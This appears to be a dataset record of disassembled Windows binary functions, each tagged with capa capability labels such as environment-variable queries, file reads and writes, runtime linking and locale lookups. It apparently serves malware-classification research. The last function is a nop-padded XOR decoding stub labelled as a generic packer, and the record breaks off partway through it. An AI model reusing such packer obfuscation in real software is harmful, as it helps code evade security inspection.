joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b2e31
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x50fa7c]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jne 0x4b2e7a
call ebp
mov esi, eax
cmp esi, ebx
je 0x4b2e60
mov dword [0x50fa7c], 1
jmp 0x4b2e7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4b2e75
push 2
pop eax
mov dword [0x50fa7c], eax
jmp 0x4b2e7a
mov eax, dword [0x50fa7c]
cmp eax, 1
jne 0x4b2ed7
cmp esi, ebx
jne 0x4b2e92
call ebp
mov esi, eax
cmp esi, ebx
jne 0x4b2e92
xor eax, eax
jmp 0x4b2f7e
cmp word [esi], bx
mov eax, esi
je 0x4b2ea7
inc eax
inc eax
cmp word [eax], bx
jne 0x4b2e99
inc eax
inc eax
cmp word [eax], bx
jne 0x4b2e99
sub eax, esi
inc eax
inc eax
mov ebp, eax
push ebp
call fcn.004a9c81
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x4b2eca
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
jmp 0x4b2f7e
push ebp
push esi
push edi
call fcn.004adbd0
add esp, 0xc
jmp 0x4b2ebc
cmp eax, 2
je 0x4b2ee0
cmp eax, ebx
jne 0x4b2e8b
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebp, eax
cmp ebp, ebx
je 0x4b2e8b
cmp byte [ebp], bl
mov esi, ebp
je 0x4b2f16
push ebx
push ebx
push 0xffffffffffffffff
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x4b2e8b
push esi
add edi, eax
call fcn.004adfd0
lea esi, [esi + eax + 1]
cmp byte [esi], bl
pop ecx
jne 0x4b2ef3
inc edi
lea eax, [edi + edi]
push eax
mov dword [esp + 0x18], edi
call fcn.004a9c81
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x4b2f8f
cmp byte [ebp], bl
mov edi, ebp
mov esi, eax
je 0x4b2f70
mov ecx, dword [esp + 0x14]
mov eax, esi
sub eax, dword [esp + 0x10]
sar eax, 1
sub ecx, eax
push ecx
push esi
push 0xffffffffffffffff
push edi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x4b2f85
push edi
call fcn.004adfd0
push esi
lea edi, [edi + eax + 1]
call fcn.004a94d1
cmp byte [edi], bl
pop ecx
pop ecx
lea esi, [esi + eax*2 + 2]
jne 0x4b2f36
push ebp
mov word [esi], bx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push dword [esp + 0x10]
call fcn.004a9fb9
pop ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x4b2e8b
Function at 0x4b2f9b
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x50fa80]
push ebp
xor ebp, ebp
cmp eax, ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jne 0x4b2fdb
call esi
test eax, eax
je 0x4b2fc0
mov dword [0x50fa80], 1
jmp 0x4b2fe0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4b2fd7
mov dword [0x50fa80], 2
jmp 0x4b2fe9
xor eax, eax
jmp 0x4b3037
cmp eax, 1
jne 0x4b2fe4
call esi
jmp 0x4b3037
cmp eax, 2
jne 0x4b2fd7
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebp
push ebp
push 0xffffffffffffffff
mov ebx, eax
push ebx
push 1
push ebp
call edi
mov esi, eax
cmp esi, ebp
je 0x4b302f
lea eax, [esi + esi]
push eax
call fcn.004a9c81
mov ebp, eax
test ebp, ebp
pop ecx
je 0x4b302f
push esi
push ebp
push 0xffffffffffffffff
push ebx
push 1
push 0
call edi
test eax, eax
jne 0x4b3033
push ebp
call fcn.004a9fb9
pop ecx
xor eax, eax
jmp 0x4b3035
mov eax, ebp
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x4b3238
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x4b3266
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4b326d
cmp ebx, dword [eax + 4]
jae 0x4b326d
xor eax, eax
jmp 0x4b345d
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4b327e
xor eax, eax
inc eax
jmp 0x4b345c
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4b3294
cmp ecx, edx
jae 0x4b33d9
cmp dword [eax + 4], 0
je 0x4b329d
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4b3285
cmp dword [ebp + 8], 0
je 0x4b32bf
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4b33d9
cmp eax, esi
jae 0x4b33d9
mov eax, dword [0x50fa88]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x4b32e4
cmp dword [esi*4 + 0x50fa90], edi
je 0x4b33dd
inc esi
cmp esi, eax
jl 0x4b32d2
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4b3459
cmp dword [ebp - 8], 0x1000000
jne 0x4b3459
test byte [ebp - 0xc], 0xcc
je 0x4b3362
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x4b3459
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4b3459
cmp word [eax + 0x18], 0x10b
jne 0x4b3459
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x4b3459
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x4b3362
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x4b3362
test byte [ecx + 0x27], 0x80
jne 0x4b33d9
push 1
push 0x50fad0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4b3276
mov ecx, dword [0x50fa88]
test ecx, ecx
mov edx, ecx
jle 0x4b3396
lea eax, [ecx*4 + 0x50fa8c]
cmp dword [eax], edi
je 0x4b3396
dec edx
sub eax, 4
test edx, edx
jg 0x4b338a
test edx, edx
jne 0x4b33c7
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4b33a3
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4b33bb
lea eax, [edx*4 + 0x50fa90]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4b33a9
cmp ecx, 0x10
jge 0x4b33c7
inc ecx
mov dword [0x50fa88], ecx
push 0
push 0x50fad0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4b3276
xor eax, eax
jmp 0x4b345c
test esi, esi
jle 0x4b3276
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x50fad0
call ebx
test eax, eax
jne 0x4b3276
cmp dword [esi*4 + 0x50fa90], edi
je 0x4b3433
mov eax, dword [0x50fa88]
lea esi, [eax - 1]
test esi, esi
jl 0x4b3421
cmp dword [esi*4 + 0x50fa90], edi
je 0x4b341d
dec esi
jns 0x4b3411
test esi, esi
jge 0x4b3431
cmp eax, 0x10
jge 0x4b342c
inc eax
mov dword [0x50fa88], eax
lea esi, [eax - 1]
jmp 0x4b3433
je 0x4b344b
xor ecx, ecx
test esi, esi
jl 0x4b344b
lea eax, [ecx*4 + 0x50fa90]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x4b3439
push 0
push 0x50fad0
call ebx
jmp 0x4b3276
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b37e3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x4b39b9
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x50fe20]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x4b39b9
test cl, 0x48
je 0x4b384e
cmp byte [eax + 5], 0xa
je 0x4b384e
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4b38a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x4b3888
call fcn.004ac53e
mov dword [eax], 9
call fcn.004ac547
mov dword [eax], esi
jmp 0x4b3898
cmp eax, 0x6d
je 0x4b39b9
push eax
call fcn.004ac550
pop ecx
or eax, 0xffffffff
jmp 0x4b39bb
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x4b39b4
test eax, eax
je 0x4b38c7
cmp byte [ebx], 0xa
jne 0x4b38c7
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x4b38d0
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x4b39ae
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x4b399e
cmp al, 0xd
je 0x4b3902
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x4b3990
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x4b391c
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x4b3917
add dword [ebp + 0x10], 2
jmp 0x4b3970
mov dword [ebp + 0x10], eax
jmp 0x4b398c
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4b3944
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4b398c
cmp dword [ebp - 0xc], 0
je 0x4b398c
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x4b3965
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x4b3970
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x4b398f
cmp ebx, dword [ebp + 0xc]
jne 0x4b3975
cmp byte [ebp - 1], 0xa
jne 0x4b3975
mov byte [ebx], 0xa
jmp 0x4b398f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004baf6c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4b3990
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x4b38e6
jmp 0x4b39ae
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x4b39ae
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x4b39bb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b3a6b
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a4]
sub esp, 0x424
mov eax, dword [0x508e4c]
xor ecx, ecx
xor eax, ebp
cmp dword [ebp + 0x3b4], ecx
push edi
mov edi, dword [ebp + 0x3b0]
mov dword [ebp + 0x3a0], eax
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], ecx
jne 0x4b3aa7
xor eax, eax
jmp 0x4b3c11
mov eax, dword [ebp + 0x3ac]
push ebx
mov ebx, dword [ebp + 0x3ac]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x50fe20]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x4b3ae5
push 2
push ecx
push ecx
push dword [ebp + 0x3ac]
call fcn.004baf6c
add esp, 0x10
xor ecx, ecx
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x4b3b7f
cmp dword [ebp + 0x3b4], ecx
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x68], ecx
jbe 0x4b3be2
jmp 0x4b3b09
xor ecx, ecx
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x64]
cmp ecx, dword [ebp + 0x3b4]
jae 0x4b3b44
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x4b3b35
inc dword [ebp - 0x78]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x6c]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0x400
jl 0x4b3b15
mov edi, eax
lea eax, [ebp - 0x64]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x64]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4b3ba3
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x4b3bac
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x7c]
cmp eax, dword [ebp + 0x3b4]
jb 0x4b3b07
jmp 0x4b3bac
push ecx
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b4]
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4b3ba3
mov eax, dword [ebp - 0x80]
and dword [ebp - 0x68], 0
mov dword [ebp - 0x74], eax
jmp 0x4b3bac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4b3c0c
cmp dword [ebp - 0x68], eax
je 0x4b3bdf
push 5
pop esi
cmp dword [ebp - 0x68], esi
jne 0x4b3bd4
call fcn.004ac53e
mov dword [eax], 9
call fcn.004ac547
mov dword [eax], esi
jmp 0x4b3c07
push dword [ebp - 0x68]
call fcn.004ac550
pop ecx
jmp 0x4b3c07
mov edi, dword [ebp - 0x7c]
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x4b3bf4
cmp byte [edi], 0x1a
jne 0x4b3bf4
xor eax, eax
jmp 0x4b3c0f
call fcn.004ac53e
mov dword [eax], 0x1c
call fcn.004ac547
and dword [eax], 0
or eax, 0xffffffff
jmp 0x4b3c0f
sub eax, dword [ebp - 0x78]
pop esi
pop ebx
mov ecx, dword [ebp + 0x3a0]
xor ecx, ebp
pop edi
call fcn.004a8ea5
add ebp, 0x3a4
leave
ret
Function at 0x4b9f43
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x50fb60], ebx
push esi
push edi
jne 0x4b9fc3
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4b9ffe
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4f0c74
push edi
call esi
test eax, eax
mov dword [0x50fb60], eax
je 0x4b9ffe
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x50fb64], eax
call esi
cmp dword [0x50f50c], 2
mov dword [0x50fb68], eax
jne 0x4b9fc3
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x50fb70], eax
je 0x4b9fc3
push 0x4f0c1c
push edi
call esi
mov dword [0x50fb6c], eax
mov eax, dword [0x50fb6c]
test eax, eax
je 0x4ba008
call eax
test eax, eax
je 0x4b9fef
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x50fb70]
test eax, eax
je 0x4b9fef
test byte [ebp - 8], 1
jne 0x4ba008
cmp dword [0x50f518], 4
jb 0x4ba002
or byte [ebp + 0x12], 0x20
jmp 0x4ba027
xor eax, eax
jmp 0x4ba037
or byte [ebp + 0x12], 4
jmp 0x4ba027
mov eax, dword [0x50fb64]
test eax, eax
je 0x4ba027
call eax
mov ebx, eax
test ebx, ebx
je 0x4ba027
mov eax, dword [0x50fb68]
test eax, eax
je 0x4ba027
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x50fb60]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4bc359
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x4bc372
or eax, 0xffffffff
jmp 0x4bc3d3
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x4bc3cf
push 0x3d
push esi
call fcn.004bd168
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x4bc3cf
cmp esi, eax
je 0x4bc3cf
xor ecx, ecx
cmp byte [eax + 1], cl
mov eax, dword [0x50f52c]
sete cl
cmp eax, dword [0x50f530]
mov dword [ebp - 4], ecx
jne 0x4bc3b5
mov edi, eax
call fcn.004bc2f8
mov dword [0x50f52c], eax
cmp eax, ebx
jne 0x4bc40e
cmp dword [ebp + 0xc], ebx
je 0x4bc3d7
cmp dword [0x50f534], ebx
je 0x4bc3d7
call fcn.004b6cdb
test eax, eax
je 0x4bc40e
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 4], ebx
je 0x4bc3e0
xor eax, eax
jmp 0x4bc3d2
push 4
call fcn.004a9c81
cmp eax, ebx
pop ecx
mov dword [0x50f52c], eax
je 0x4bc3cf
mov dword [eax], ebx
cmp dword [0x50f534], ebx
jne 0x4bc40e
push 4
call fcn.004a9c81
cmp eax, ebx
pop ecx
mov dword [0x50f534], eax
je 0x4bc3cf
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
mov ebx, dword [0x50f52c]
sub edi, esi
push esi
call fcn.004bc2ab
mov edi, eax
test edi, edi
pop ecx
jl 0x4bc475
cmp dword [ebx], 0
je 0x4bc475
lea esi, [ebx + edi*4]
push dword [esi]
call fcn.004a9fb9
xor eax, eax
cmp dword [ebp - 4], eax
pop ecx
jne 0x4bc455
mov ecx, dword [ebp - 8]
mov dword [esi], ecx
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x4bc4b6
mov ecx, dword [esi + 4]
inc edi
mov dword [esi], ecx
lea esi, [ebx + edi*4]
cmp dword [esi], eax
jne 0x4bc44c
mov eax, edi
shl eax, 2
push eax
push dword [0x50f52c]
call fcn.004ab52a
test eax, eax
mov esi, dword [ebp - 8]
pop ecx
pop ecx
je 0x4bc4b6
jmp 0x4bc4b1
cmp dword [ebp - 4], 0
jne 0x4bc51d
test edi, edi
jge 0x4bc485
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x50f52c]
call fcn.004ab52a
test eax, eax
pop ecx
pop ecx
je 0x4bc3cf
lea ecx, [eax + edi*4]
and dword [ecx + 4], 0
mov dword [ecx], esi
mov ecx, dword [ebp + 8]
and dword [ecx], 0
mov dword [0x50f52c], eax
cmp dword [ebp + 0xc], 0
je 0x4bc508
push esi
call fcn.004adfd0
inc eax
inc eax
push eax
call fcn.004a9c81
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x4bc508
push esi
push edi
call fcn.004b0580
mov eax, edi
sub eax, esi
add eax, dword [ebp - 0xc]
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov byte [eax], 0
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x4bc501
or dword [ebp - 0x10], 0xffffffff
push edi
call fcn.004a9fb9
pop ecx
cmp dword [ebp - 4], 0
je 0x4bc515
push esi
call fcn.004a9fb9
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x4bc3d2
push esi
call fcn.004a9fb9
mov eax, dword [ebp + 8]
and dword [eax], 0
pop ecx
jmp 0x4bc3dc
Function at 0x4bc52f
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x4f0d48
call fcn.004adb7c
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x50fb7c], edi
jne 0x4bc573
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4bc55e
mov dword [0x50fb7c], ebx
jmp 0x4bc573
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4bc573
mov dword [0x50fb7c], 2
mov eax, dword [0x50fb7c]
cmp eax, ebx
jne 0x4bc593
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x4bc656
cmp eax, 2
je 0x4bc59c
cmp eax, edi
jne 0x4bc5c4
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x4bc5af
mov eax, dword [0x50fb24]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x4bc5cb
xor eax, eax
jmp 0x4bc656
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.004a9710
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x4bc5fe
cmp esi, edi
jne 0x4bc614
push dword [ebp - 0x20]
call fcn.004a9c81
pop ecx
mov esi, eax
cmp esi, edi
je 0x4bc5c4
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x4bc647
cmp dword [ebp + 0x14], edi
jne 0x4bc631
push edi
push edi
jmp 0x4bc637
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x4bc653
push esi
call fcn.004a9fb9
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.004adbb7
ret
Function at 0x4bc65f
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x4f0d58
call fcn.004adb7c
xor esi, esi
cmp dword [0x50fb80], esi
jne 0x4bc6a3
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4bc68e
mov dword [0x50fb80], edi
jmp 0x4bc6a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4bc6a3
mov dword [0x50fb80], 2
mov eax, dword [0x50fb80]
cmp eax, 2
je 0x4bc784
cmp eax, esi
je 0x4bc784
cmp eax, 1
jne 0x4bc6e8
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x4bc6d1
mov eax, dword [0x50fb24]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x4bc6ef
xor eax, eax
jmp 0x4bc796
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.004a9710
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x4bc725
cmp edi, esi
jne 0x4bc740
lea eax, [ebx + ebx]
push eax
call fcn.004a9c81
pop ecx
mov edi, eax
cmp edi, esi
je 0x4bc6e8
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4bc773
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x4bc75d
push esi
push esi
jmp 0x4bc763
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x4bc77f
push edi
call fcn.004a9fb9
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x4bc796
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.004adbb7
ret
Function at 0x4bcd34
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004a9710
mov eax, dword [0x508e4c]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004b3cd2
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x4bce69
push 2
push esi
push dword [ebp + 8]
call fcn.004b3cd2
add esp, 0xc
cmp eax, ebx
je 0x4bce69
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x4bce09
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.004b8d50
push 0x8000
push dword [ebp + 8]
call fcn.004ac3b5
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x4bcdbf
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.004b3a6b
add esp, 0xc
cmp eax, 0xffffffff
je 0x4bcddf
sub edi, eax
test edi, edi
jg 0x4bcdb7
jmp 0x4bcdf7
call fcn.004ac547
cmp dword [eax], 5
jne 0x4bcdf4
call fcn.004ac53e
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.004ac3b5
pop ecx
pop ecx
jmp 0x4bce51
jge 0x4bce51
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004b3cd2
push dword [ebp + 8]
call fcn.004b6e66
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x4bce51
call fcn.004ac53e
mov dword [eax], 0xd
call fcn.004ac547
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.004b3cd2
add esp, 0xc
mov eax, esi
pop edi
jmp 0x4bce6b
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004a8ea5
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x5a5d59ab
nop
